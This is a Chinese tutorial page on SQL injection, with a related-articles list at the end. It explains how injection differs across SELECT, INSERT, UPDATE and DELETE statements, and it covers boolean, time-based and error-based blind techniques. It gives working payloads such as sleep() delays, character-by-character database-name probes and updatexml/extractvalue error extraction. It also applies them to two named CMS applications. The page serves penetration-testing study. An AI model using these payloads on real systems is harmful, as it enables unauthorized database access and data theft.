当前位置: 首页 > news >正文

Web攻防-SQL注入增删改查盲注延时布尔报错有无回显错误处理

知识点:
1、Web攻防-SQL注入-操作方法&增删改查
2、Web攻防-SQL注入-布尔&延时&报错&盲注

案例说明:
在应用中,存在增删改查数据的操作,其中SQL语句结构不一导致注入语句也要针对应用达到兼容执行,另外也需要明白黑盒中功能对应的操作方法;除此之外有无回显,报错都有关系,将影响到采用何种注入方式。

增删改查

1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id

一、演示案例-WEB攻防-SQL注入-布尔&延时&报错&盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的union联合查询注入不行的情况
参考:
like 'ro%'            判断ro或ro...是否成立
regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等
if(条件,5,0)          条件成立 返回5 反之 返回0
sleep(5)              SQL语句延时执行5秒
mid(a,b,c)            从位置b开始,截取a字符串的c位
substr(a,b,c)         从位置b开始,截取字符串a的c长度
left(database(),1),database() left(a,b)从左侧截取a的前b位
length(database())=8  判断数据库database()名的长度
ord=ascii ascii(x)=97 判断x的ascii码是否等于97

1、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid布尔:
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;

基于布尔:有数据库输出判断标准条件

and length(database())=6

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、基于时间的SQL盲注-延时判断

if,sleep延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);

基于延时:都不需要

and if(1=1,sleep(5),0)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue报错:
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));报错注入参考:
https://www.jianshu.com/p/bc35f8dd4f7c
https://www.cnblogs.com/impulse-/p/14227189.html

基于报错:有数据库报错处理判断标准条件

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-实际案例&报错&延时

1、xhcms-insert报错

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

在这里插入图片描述
在这里插入图片描述

2、kkcms-delete延时

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

or if(1=1,sleep(5),0)
or length(database())=5
or if(ord(left(database(),1))=107,sleep(1),0)
or if(ord(substr(database(),2,1))=107,sleep(1),0)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

http://www.xdnf.cn/news/704953.html

相关文章:

  • 【论文阅读】《PEACE: Empowering Geologic Map Holistic Understanding with MLLMs》
  • 模块化集成建筑(MiC建筑):颠覆传统的未来建造革命
  • 基于本地化大模型的智能编程助手全栈实践:从模型部署到IDE深度集成学习心得
  • 51c视觉~3D~合集3
  • 【SpringBoot】零基础全面解析SpringBoot配置文件
  • sass基础语法
  • Vite打包优化实践:从分包到性能提升
  • 自学嵌入式 day 25 - 系统编程 标准io 缓冲区 文件io
  • git+svn+sourcetree客户端下载和安装教程
  • DeepSeek R1开源模型的技术突破与AI产业格局的重构
  • Nacos | 三种方式的配置中心,整合Springboot3.x + yaml文件完成 0错误 自动刷新(亲测无误)
  • 单片机——keil5
  • WSL 开发环境搭建指南:Java 11 + 中间件全家桶安装实战
  • STM32开发全解析:从环境搭建到项目实战的技术文档撰写指南
  • 代谢组数据分析(二十五):代谢组与蛋白质组数据分析的异同
  • day13 leetcode-hot100-23(链表2)
  • xLSTM技术介绍
  • 技术文档写作大纲
  • JWT 不对外,Session ID 对外:构建安全可控的微服务认证架构
  • jenkins集成gitlab实现自动构建
  • 力扣-最长回文子串
  • 【课堂笔记】EM算法
  • stm32cube ide如何将工具链替换成arm-none-eabi-gcc
  • 零基础设计模式——结构型模式 - 代理模式
  • 安装flash-attention失败的终极解决方案(WINDOWS环境)
  • 按照状态实现自定义排序的方法
  • 机器学习数据降维方法
  • Apache Airflow
  • 【MySQL】联合查询(下)
  • 微服务各个部分的作用